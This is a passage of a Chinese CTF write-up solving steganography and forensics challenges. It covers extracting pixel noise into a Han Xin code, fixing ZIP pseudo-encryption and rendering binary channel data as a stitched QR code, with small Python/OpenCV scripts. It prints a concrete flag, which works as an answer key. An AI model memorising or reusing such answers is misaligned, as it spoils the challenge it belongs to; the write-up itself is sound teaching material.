src="https://wechat2rss.xlab.app/img-proxy/?k=51d39a4d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nKMeFbvLvhNbqEXHDREjhhWWQv0whoRXbM5uXyG5cWXgYVuC5iavXG2eZibhNZh4QAFsFnZLacQoExg%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p>打开来是二维码</p><p><v:shapetype coordsize="21600,21600" xmlns:o="urn:schemas-microsoft-com:office:office" o:spt="75" path="m@4@5l@4@11@9@11@9@5xe" o:preferrelative="t" filled="f" stroked="f"><v:formulas><v:f eqn="if lineDrawn pixelLineWidth 0"></v:f><v:f eqn="sum @0 1 0"></v:f><v:f eqn="sum 0 0 @1"></v:f><v:f eqn="prod @2 1 2"></v:f><v:f eqn="prod @3 21600 pixelWidth"></v:f><v:f eqn="prod @3 21600 pixelHeight"></v:f><v:f eqn="sum @0 0 1"></v:f><v:f eqn="prod @6 1 2"></v:f><v:f eqn="prod @7 21600 pixelWidth"></v:f><v:f eqn="sum @8 21600 0"></v:f><v:f eqn="prod @7 21600 pixelHeight"></v:f><v:f eqn="sum @10 21600 0"></v:f></v:formulas><v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"></v:path></v:shapetype></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.566" data-s="300,640" style="" data-type="png" data-w="1000" src="https://wechat2rss.xlab.app/img-proxy/?k=e03bd0bc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nKMeFbvLvhNbqEXHDREjhhWId15OxCgYZCCxylEnj3UFR5OuvIpfCsicL4PS70YEJibB80Hq31fc2Ag%2F640%3Fwx_fmt%3Dpng"/></p><p>扫描二维码 转到油管视频 翻了一下好像没有意义 <a href="https://www.youtube.com/watch?v=l3N9fPIT4yw" target="_blank">https://www.youtube.com/watch?v=l3N9fPIT4yw</a></p><p><v:shapetype coordsize="21600,21600" xmlns:o="urn:schemas-microsoft-com:office:office" o:spt="75" path="m@4@5l@4@11@9@11@9@5xe" o:preferrelative="t" filled="f" stroked="f"><v:formulas><v:f eqn="if lineDrawn pixelLineWidth 0"></v:f><v:f eqn="sum @0 1 0"></v:f><v:f eqn="sum 0 0 @1"></v:f><v:f eqn="prod @2 1 2"></v:f><v:f eqn="prod @3 21600 pixelWidth"></v:f><v:f eqn="prod @3 21600 pixelHeight"></v:f><v:f eqn="sum @0 0 1"></v:f><v:f eqn="prod @6 1 2"></v:f><v:f eqn="prod @7 21600 pixelWidth"></v:f><v:f eqn="sum @8 21600 0"></v:f><v:f eqn="prod @7 21600 pixelHeight"></v:f><v:f eqn="sum @10 21600 0"></v:f></v:formulas><v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"></v:path></v:shapetype></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.528" data-s="300,640" style="" data-type="png" data-w="1000" src="https://wechat2rss.xlab.app/img-proxy/?k=a3fea3c8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nKMeFbvLvhNbqEXHDREjhhWTI5TCXibqWQpD0CHTwUDeumb59JL5YPaekqOyKfHlqILQTvOgW5N4Aw%2F640%3Fwx_fmt%3Dpng"/></p><p>用stegsolve发现通道RGB 0 1通道有大概噪点</p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="1.0451306413301662" data-s="300,640" style="" data-type="png" data-w="421" src="https://wechat2rss.xlab.app/img-proxy/?k=18b9b5ec&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nKMeFbvLvhNbqEXHDREjhhWNBuNWKsiabicyEuIw3iabFKwbnwflVN3WPicT3My0icZ2rjasK6b54mgfjg%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.8813905930470347" data-s="300,640" style="" data-type="png" data-w="489" src="https://wechat2rss.xlab.app/img-proxy/?k=1fb77eff&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nKMeFbvLvhNbqEXHDREjhhWYIeHmibbbeia7DoGHICKQpxsHp489v8SccYS9V39D98Lv0QOX2Zwp3Cw%2F640%3Fwx_fmt%3Dpng"/></p><p><v:shapetype coordsize="21600,21600" xmlns:o="urn:schemas-microsoft-com:office:office" o:spt="75" path="m@4@5l@4@11@9@11@9@5xe" o:preferrelative="t" filled="f" stroked="f"><v:formulas><v:f eqn="if lineDrawn pixelLineWidth 0"></v:f><v:f eqn="sum @0 1 0"></v:f><v:f eqn="sum 0 0 @1"></v:f><v:f eqn="prod @2 1 2"></v:f><v:f eqn="prod @3 21600 pixelWidth"></v:f><v:f eqn="prod @3 21600 pixelHeight"></v:f><v:f eqn="sum @0 0 1"></v:f><v:f eqn="prod @6 1 2"></v:f><v:f eqn="prod @7 21600 pixelWidth"></v:f><v:f eqn="sum @8 21600 0"></v:f><v:f eqn="prod @7 21600 pixelHeight"></v:f><v:f eqn="sum @10 21600 0"></v:f></v:formulas><v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"></v:path></v:shapetype></p><p><v:shapetype coordsize="21600,21600" xmlns:o="urn:schemas-microsoft-com:office:office" o:spt="75" path="m@4@5l@4@11@9@11@9@5xe" o:preferrelative="t" filled="f" stroked="f"><v:formulas><v:f eqn="if lineDrawn pixelLineWidth 0"></v:f><v:f eqn="sum @0 1 0"></v:f><v:f eqn="sum 0 0 @1"></v:f><v:f eqn="prod @2 1 2"></v:f><v:f eqn="prod @3 21600 pixelWidth"></v:f><v:f eqn="prod @3 21600 pixelHeight"></v:f><v:f eqn="sum @0 0 1"></v:f><v:f eqn="prod @6 1 2"></v:f><v:f eqn="prod @7 21600 pixelWidth"></v:f><v:f eqn="sum @8 21600 0"></v:f><v:f eqn="prod @7 21600 pixelHeight"></v:f><v:f eqn="sum @10 21600 0"></v:f></v:formulas><v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"></v:path></v:shapetype></p><p>把噪点提取出来</p><p><br/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="python"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> cv2</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> cv2 <span class="code-snippet__keyword">as</span> cv</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> numpy <span class="code-snippet__keyword">as</span> np</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> os</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">pic = cv2.imread(<span class="code-snippet__string">&#34;D:\\tmp\\tHXcode.png&#34;</span>)</span></code><code><span class="code-snippet_outer">c1,c2,c3 = pic.shape</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">blank_image = np.zeros((<span class="code-snippet__number">348</span>,<span class="code-snippet__number">348</span>,<span class="code-snippet__number">3</span>), np.uint8)</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">for</span> i <span class="code-snippet__keyword">in</span> range(c1):</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">for</span> j <span class="code-snippet__keyword">in</span> range(c2):</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">for</span> k <span class="code-snippet__keyword">in</span> range(c3):</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span> pic[i,j,k] == <span class="code-snippet__number">0</span> <span class="code-snippet__keyword">or</span> pic[i,j,k] == <span class="code-snippet__number">255</span>:</span></code><code><span class="code-snippet_outer">                blank_image[i,j,k] = <span class="code-snippet__number">0</span></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">else</span>:</span></code><code><span class="code-snippet_outer">                blank_image[i, j, k] = <span class="code-snippet__number">255</span></span></code><code><span class="code-snippet_outer">cv2.imwrite(<span class="code-snippet__string">&#39;new.png&#39;</span>,blank_image)</span></code><code><span class="code-snippet_outer">cv2.imshow(<span class="code-snippet__string">&#39;canvas&#39;</span>,blank_image)</span></code><code><span class="code-snippet_outer">cv2.waitKey(<span class="code-snippet__number">0</span>)</span></code><code><span class="code-snippet_outer">cv2.destroyAllWindows()</span></code></pre></section><p>跑出来这样</p><p><v:shapetype coordsize="21600,21600" xmlns:o="urn:schemas-microsoft-com:office:office" o:spt="75" path="m@4@5l@4@11@9@11@9@5xe" o:preferrelative="t" filled="f" stroked="f"><v:formulas><v:f eqn="if lineDrawn pixelLineWidth 0"></v:f><v:f eqn="sum @0 1 0"></v:f><v:f eqn="sum 0 0 @1"></v:f><v:f eqn="prod @2 1 2"></v:f><v:f eqn="prod @3 21600 pixelWidth"></v:f><v:f eqn="prod @3 21600 pixelHeight"></v:f><v:f eqn="sum @0 0 1"></v:f><v:f eqn="prod @6 1 2"></v:f><v:f eqn="prod @7 21600 pixelWidth"></v:f><v:f eqn="sum @8 21600 0"></v:f><v:f eqn="prod @7 21600 pixelHeight"></v:f><v:f eqn="sum @10 21600 0"></v:f></v:formulas><v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"></v:path></v:shapetype></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.642" data-s="300,640" style="" data-type="png" data-w="1000" src="https://wechat2rss.xlab.app/img-proxy/?k=6a94b08e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nKMeFbvLvhNbqEXHDREjhhW4pJ63uicichU8NAJtFbA7RhibnQKAckCCdqiaYUFTNVnuNJd5LMM5T0jxg%2F640%3Fwx_fmt%3Dpng"/></p><p>长得像二维码少了定位标志 但又不太对 发现是汉信码</p><p><v:shapetype coordsize="21600,21600" xmlns:o="urn:schemas-microsoft-com:office:office" o:spt="75" path="m@4@5l@4@11@9@11@9@5xe" o:preferrelative="t" filled="f" stroked="f"><v:formulas><v:f eqn="if lineDrawn pixelLineWidth 0"></v:f><v:f eqn="sum @0 1 0"></v:f><v:f eqn="sum 0 0 @1"></v:f><v:f eqn="prod @2 1 2"></v:f><v:f eqn="prod @3 21600 pixelWidth"></v:f><v:f eqn="prod @3 21600 pixelHeight"></v:f><v:f eqn="sum @0 0 1"></v:f><v:f eqn="prod @6 1 2"></v:f><v:f eqn="prod @7 21600 pixelWidth"></v:f><v:f eqn="sum @8 21600 0"></v:f><v:f eqn="prod @7 21600 pixelHeight"></v:f><v:f eqn="sum @10 21600 0"></v:f></v:formulas><v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"></v:path></v:shapetype></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.528" data-s="300,640" style="" data-type="png" data-w="1000" src="https://wechat2rss.xlab.app/img-proxy/?k=65561266&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nKMeFbvLvhNbqEXHDREjhhWkp5m8OhGUicJeZVyHSEiaBLrMWWfAkSDhdvk76GYXebHanv3oJsKekMw%2F640%3Fwx_fmt%3Dpng"/></p><p>找个画格子网站<a href="https://www.pixilart.com/draw?ref=home-page" target="_blank">https://www.pixilart.com/draw?ref=home-page</a> 画出来</p><p><v:shapetype coordsize="21600,21600" xmlns:o="urn:schemas-microsoft-com:office:office" o:spt="75" path="m@4@5l@4@11@9@11@9@5xe" o:preferrelative="t" filled="f" stroked="f"><v:formulas><v:f eqn="if lineDrawn pixelLineWidth 0"></v:f><v:f eqn="sum @0 1 0"></v:f><v:f eqn="sum 0 0 @1"></v:f><v:f eqn="prod @2 1 2"></v:f><v:f eqn="prod @3 21600 pixelWidth"></v:f><v:f eqn="prod @3 21600 pixelHeight"></v:f><v:f eqn="sum @0 0 1"></v:f><v:f eqn="prod @6 1 2"></v:f><v:f eqn="prod @7 21600 pixelWidth"></v:f><v:f eqn="sum @8 21600 0"></v:f><v:f eqn="prod @7 21600 pixelHeight"></v:f><v:f eqn="sum @10 21600 0"></v:f></v:formulas><v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"></v:path></v:shapetype></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.528" data-s="300,640" style="" data-type="png" data-w="1000" src="https://wechat2rss.xlab.app/img-proxy/?k=617697dc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nKMeFbvLvhNbqEXHDREjhhW9Xhib8hdcNx6eAPTcn0FG1Erq0AkQW3KYhXDfUMxtsp9W323iacPY4icA%2F640%3Fwx_fmt%3Dpng"/></p><p>读取得到flag flag{ae0f3bce-814b-4928-9801-7a2f2ca88273}</p><p><v:shapetype coordsize="21600,21600" xmlns:o="urn:schemas-microsoft-com:office:office" o:spt="75" path="m@4@5l@4@11@9@11@9@5xe" o:preferrelative="t" filled="f" stroked="f"><v:formulas><v:f eqn="if lineDrawn pixelLineWidth 0"></v:f><v:f eqn="sum @0 1 0"></v:f><v:f eqn="sum 0 0 @1"></v:f><v:f eqn="prod @2 1 2"></v:f><v:f eqn="prod @3 21600 pixelWidth"></v:f><v:f eqn="prod @3 21600 pixelHeight"></v:f><v:f eqn="sum @0 0 1"></v:f><v:f eqn="prod @6 1 2"></v:f><v:f eqn="prod @7 21600 pixelWidth"></v:f><v:f eqn="sum @8 21600 0"></v:f><v:f eqn="prod @7 21600 pixelHeight"></v:f><v:f eqn="sum @10 21600 0"></v:f></v:formulas><v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"></v:path></v:shapetype></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.46598639455782315" data-s="300,640" style="" data-type="png" data-w="882" src="https://wechat2rss.xlab.app/img-proxy/?k=3d98b864&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nKMeFbvLvhNbqEXHDREjhhWNxWU7EZWMCHDjibC1iaFLibjd6ecz3BZCDPZTdfdxUOyyWwuic0hkeuCDg%2F640%3Fwx_fmt%3Dpng"/></p><h1 style="margin-top: 8px;margin-bottom: 8px;"><span style="font-size: 24px;"><strong>0x7 MISC830</strong></span></h1><p>伪加密，改09为00</p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.545" data-s="300,640" style="" data-type="png" data-w="1000" src="https://wechat2rss.xlab.app/img-proxy/?k=f46664bc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nKMeFbvLvhNbqEXHDREjhhWkW9mQuj5JyQtwDfoRx1VQbzOhaAtUw0T2hvTSqUNNcekz49aR850fQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.3276553106212425" data-s="300,640" style="" data-type="png" data-w="998" src="https://wechat2rss.xlab.app/img-proxy/?k=a3351fbd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nKMeFbvLvhNbqEXHDREjhhWO13OPgic82yRYsrfn4qU9EgZ6HWicA4A3EmBcPokPgg0ToibjDGOGqTwQ%2F640%3Fwx_fmt%3Dpng"/></p><p><v:shapetype coordsize="21600,21600" xmlns:o="urn:schemas-microsoft-com:office:office" o:spt="75" path="m@4@5l@4@11@9@11@9@5xe" o:preferrelative="t" filled="f" stroked="f"><v:formulas><v:f eqn="if lineDrawn pixelLineWidth 0"></v:f><v:f eqn="sum @0 1 0"></v:f><v:f eqn="sum 0 0 @1"></v:f><v:f eqn="prod @2 1 2"></v:f><v:f eqn="prod @3 21600 pixelWidth"></v:f><v:f eqn="prod @3 21600 pixelHeight"></v:f><v:f eqn="sum @0 0 1"></v:f><v:f eqn="prod @6 1 2"></v:f><v:f eqn="prod @7 21600 pixelWidth"></v:f><v:f eqn="sum @8 21600 0"></v:f><v:f eqn="prod @7 21600 pixelHeight"></v:f><v:f eqn="sum @10 21600 0"></v:f></v:formulas><v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"></v:path></v:shapetype></p><p><v:shapetype coordsize="21600,21600" xmlns:o="urn:schemas-microsoft-com:office:office" o:spt="75" path="m@4@5l@4@11@9@11@9@5xe" o:preferrelative="t" filled="f" stroked="f"><v:formulas><v:f eqn="if lineDrawn pixelLineWidth 0"></v:f><v:f eqn="sum @0 1 0"></v:f><v:f eqn="sum 0 0 @1"></v:f><v:f eqn="prod @2 1 2"></v:f><v:f eqn="prod @3 21600 pixelWidth"></v:f><v:f eqn="prod @3 21600 pixelHeight"></v:f><v:f eqn="sum @0 0 1"></v:f><v:f eqn="prod @6 1 2"></v:f><v:f eqn="prod @7 21600 pixelWidth"></v:f><v:f eqn="sum @8 21600 0"></v:f><v:f eqn="prod @7 21600 pixelHeight"></v:f><v:f eqn="sum @10 21600 0"></v:f></v:formulas><v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"></v:path></v:shapetype></p><p>得到图片</p><p><v:shapetype coordsize="21600,21600" xmlns:o="urn:schemas-microsoft-com:office:office" o:spt="75" path="m@4@5l@4@11@9@11@9@5xe" o:preferrelative="t" filled="f" stroked="f"><v:formulas><v:f eqn="if lineDrawn pixelLineWidth 0"></v:f><v:f eqn="sum @0 1 0"></v:f><v:f eqn="sum 0 0 @1"></v:f><v:f eqn="prod @2 1 2"></v:f><v:f eqn="prod @3 21600 pixelWidth"></v:f><v:f eqn="prod @3 21600 pixelHeight"></v:f><v:f eqn="sum @0 0 1"></v:f><v:f eqn="prod @6 1 2"></v:f><v:f eqn="prod @7 21600 pixelWidth"></v:f><v:f eqn="sum @8 21600 0"></v:f><v:f eqn="prod @7 21600 pixelHeight"></v:f><v:f eqn="sum @10 21600 0"></v:f></v:formulas><v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"></v:path></v:shapetype></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.664" data-s="300,640" style="" data-type="png" data-w="1000" src="https://wechat2rss.xlab.app/img-proxy/?k=f901c67f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nKMeFbvLvhNbqEXHDREjhhWVJK1uSgyGkbHwnHNTTCibTm7v0hxC1kx97s1h2416AapIIpEaicUZOmQ%2F640%3Fwx_fmt%3Dpng"/></p><p>Stegsolve看一下，最后一个通道前面都是0和1</p><p><v:shapetype coordsize="21600,21600" xmlns:o="urn:schemas-microsoft-com:office:office" o:spt="75" path="m@4@5l@4@11@9@11@9@5xe" o:preferrelative="t" filled="f" stroked="f"><v:formulas><v:f eqn="if lineDrawn pixelLineWidth 0"></v:f><v:f eqn="sum @0 1 0"></v:f><v:f eqn="sum 0 0 @1"></v:f><v:f eqn="prod @2 1 2"></v:f><v:f eqn="prod @3 21600 pixelWidth"></v:f><v:f eqn="prod @3 21600 pixelHeight"></v:f><v:f eqn="sum @0 0 1"></v:f><v:f eqn="prod @6 1 2"></v:f><v:f eqn="prod @7 21600 pixelWidth"></v:f><v:f eqn="sum @8 21600 0"></v:f><v:f eqn="prod @7 21600 pixelHeight"></v:f><v:f eqn="sum @10 21600 0"></v:f></v:formulas><v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"></v:path></v:shapetype></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.804" data-s="300,640" style="" data-type="png" data-w="1000" src="https://wechat2rss.xlab.app/img-proxy/?k=dcd95264&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nKMeFbvLvhNbqEXHDREjhhWTic144qc8qkX50gdUg7jlhCtVIicH7BKfDKWep9AibcpApFottAGPrnUQ%2F640%3Fwx_fmt%3Dpng"/></p><p>发现有108900个0或1</p><p><v:shapetype coordsize="21600,21600" xmlns:o="urn:schemas-microsoft-com:office:office" o:spt="75" path="m@4@5l@4@11@9@11@9@5xe" o:preferrelative="t" filled="f" stroked="f"><v:formulas><v:f eqn="if lineDrawn pixelLineWidth 0"></v:f><v:f eqn="sum @0 1 0"></v:f><v:f eqn="sum 0 0 @1"></v:f><v:f eqn="prod @2 1 2"></v:f><v:f eqn="prod @3 21600 pixelWidth"></v:f><v:f eqn="prod @3 21600 pixelHeight"></v:f><v:f eqn="sum @0 0 1"></v:f><v:f eqn="prod @6 1 2"></v:f><v:f eqn="prod @7 21600 pixelWidth"></v:f><v:f eqn="sum @8 21600 0"></v:f><v:f eqn="prod @7 21600 pixelHeight"></v:f><v:f eqn="sum @10 21600 0"></v:f></v:formulas><v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"></v:path></v:shapetype></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.479" data-s="300,640" style="" data-type="png" data-w="1000" src="https://wechat2rss.xlab.app/img-proxy/?k=0ec23918&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nKMeFbvLvhNbqEXHDREjhhWuQAJq3ZDBqbqq6T8TWWica7OwwXpibAkYquxMqlvNdokWdKETc9jX57g%2F640%3Fwx_fmt%3Dpng"/></p><p>发现330*330=108900，尝试以1为黑，0为白，画图</p><p><br/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="kotlin"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> cv2</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> cv2 <span class="code-snippet__keyword">as</span> cv</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> numpy <span class="code-snippet__keyword">as</span> np</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">f = <span class="code-snippet__keyword">open</span>(<span class="code-snippet__string">&#34;123.txt&#34;</span>,encoding = <span class="code-snippet__string">&#34;utf-8&#34;</span>)</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">blank_image = np.zeros((<span class="code-snippet__number">330</span>,<span class="code-snippet__number">330</span>,<span class="code-snippet__number">3</span>), np.uint8)</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">a = f.read()</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">aa = <span class="code-snippet__number">0</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">for</span> i <span class="code-snippet__keyword">in</span> a:</span></code><code><span class="code-snippet_outer">    x = aa<span class="code-snippet__comment">//330</span></span></code><code><span class="code-snippet_outer">    y = aa%<span class="code-snippet__number">330</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span> i == <span class="code-snippet__string">&#39;0&#39;</span>:</span></code><code><span class="code-snippet_outer">        blank_image[x, y, <span class="code-snippet__number">1</span>] = <span class="code-snippet__number">0</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">else</span>:</span></code><code><span class="code-snippet_outer">        blank_image[x, y, <span class="code-snippet__number">0</span>] = <span class="code-snippet__number">255</span></span></code><code><span class="code-snippet_outer">        blank_image[x, y, <span class="code-snippet__number">1</span>] = <span class="code-snippet__number">255</span></span></code><code><span class="code-snippet_outer">        blank_image[x, y, <span class="code-snippet__number">2</span>] = <span class="code-snippet__number">255</span></span></code><code><span class="code-snippet_outer">    aa += <span class="code-snippet__number">1</span></span></code><code><span class="code-snippet_outer">cv2.imwrite(<span class="code-snippet__string">&#39;new.png&#39;</span>,blank_image)</span></code><code><span class="code-snippet_outer">cv2.imshow(<span class="code-snippet__string">&#39;canvas&#39;</span>,blank_image)</span></code><code><span class="code-snippet_outer">cv2.waitKey(<span class="code-snippet__number">0</span>)</span></code><code><span class="code-snippet_outer">cv2.destroyAllWindows()</span></code></pre></section><p><v:shapetype coordsize="21600,21600" xmlns:o="urn:schemas-microsoft-com:office:office" o:spt="75" path="m@4@5l@4@11@9@11@9@5xe" o:preferrelative="t" filled="f" stroked="f"><v:formulas><v:f eqn="if lineDrawn pixelLineWidth 0"></v:f><v:f eqn="sum @0 1 0"></v:f><v:f eqn="sum 0 0 @1"></v:f><v:f eqn="prod @2 1 2"></v:f><v:f eqn="prod @3 21600 pixelWidth"></v:f><v:f eqn="prod @3 21600 pixelHeight"></v:f><v:f eqn="sum @0 0 1"></v:f><v:f eqn="prod @6 1 2"></v:f><v:f eqn="prod @7 21600 pixelWidth"></v:f><v:f eqn="sum @8 21600 0"></v:f><v:f eqn="prod @7 21600 pixelHeight"></v:f><v:f eqn="sum @10 21600 0"></v:f></v:formulas><v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"></v:path></v:shapetype></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="1" data-s="300,640" style="" data-type="png" data-w="330" src="https://wechat2rss.xlab.app/img-proxy/?k=50cd50fc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nKMeFbvLvhNbqEXHDREjhhW2XwBBicZhvxV5ibG5UW6OX0icRRv0oToqY8vIJlgRULsFXohjyfhf7C6g%2F640%3Fwx_fmt%3Dpng"/></p><p>像是拼接的二维码，拼接一下</p><p><v:shapetype coordsize="21600,21600" xmlns:o="urn:schemas-microsoft-com:office:office" o:spt="75" path="m@4@5l@4@11@9@11@9@5xe" o:preferrelative="t" filled="f" stroked="f"><v:formulas><v:f eqn="if lineDrawn pixelLineWidth 0"></v:f><v:f eqn="sum @0 1 0"></v:f><v:f eqn="sum 0 0 @1"></v:f><v:f eqn="prod @2 1 2"></v:f><v:f eqn="prod @3 21600 pixelWidth"></v:f><v:f eqn="prod @3 21600 pixelHeight"></v:f><v:f eqn="sum @0 0 1"></v:f><v:f eqn="prod @6 1 2"></v:f><v:f eqn="prod @7 21600 pixelWidth"></v:f><v:f eqn="sum @8 21600 0"></v:f><v:f eqn="prod @7 21600 pixelHeight"></v:f><v:f eqn="sum @10 21600 0"></v:f></v:formulas><v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"></v:path></v:shapetype></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-croporisrc="https://mmbiz.qpic.cn/mmbiz_png/9ic0mFdBia4nKMeFbvLvhNbqEXHDREjhhW9QFDyrFxjYgEDzpUXIRlXiauI83uNu8CibVoDNlrRVEtEXfBuVocwupA/640?wx_fmt=png" data-cropx1="0" data-cropx2="977" data-cropy1="91.59540933712567" data-cropy2="971.9290657439446" data-ratio="0.901740020470829" data-s="300,640" style="width: 576px;height: 519px;" data-type="jpeg" data-w="977" src="https://wechat2rss.xlab.app/img-proxy/?k=f099a17f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F9ic0mFdBia4nLrut2hM6pyJYRoFIB4F4Xs6O4K5wTyVO0Xvb5eEQuAlIYJbyTrhJyVMfdC9fHNxnqGAcn8jgIqEA%2F640%3Fwx_fmt%3Djpeg"/></p><p>扫码得flag</p><p><v:shapetype coordsize="21600,21600" xmlns:o="urn:schemas-microsoft-com:office:office" o:spt="75" path="m@4@5l@4@11@9@11@9@5xe" o:preferrelative="t" filled="f" stroked="f"><v:formulas><v:f eqn="if lineDrawn pixelLineWidth 0"></v:f><v:f eqn="sum @0 1 0"></v:f><v:f eqn="sum 0 0 @1"></v:f><v:f eqn="prod @2 1 2"></v:f><v:f eqn="prod @3 21600 pixelWidth"></v:f><v:f eqn="prod @3 21600 pixelHeight"></v:f><v:f eqn="sum @0 0 1"></v:f><v:f eqn="prod @6 1 2"></v:f><v:f eqn="prod @7 21600 pixelWidth"></v:f><v:f eqn="sum @8 21600 0"></v:f><v:f eqn="prod @7 21600 pixelHeight"></v:f><v:f eqn="sum @10 21600 0"></v:f></v:formulas><v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"></v:path></v:shapetype></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.5049668874172185" data-s="300,640" style="" data-type="png" data-w="604" src="https://wechat2rss.xlab.app/img-proxy/?k=815b38ad&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nKMeFbvLvhNbqEXHDREjhhWTT3EHKOkfabVh6ZUHKpa8Yc0crQpuuAJt5S2VulSNUPiclvDsaD3Q4Q%2F640%3Fwx_fmt%3Dpng"/></p><h1 style="margin-top: 8px;margin-bottom: 8px;"><span style="font-size: 24px;"><strong>0x8 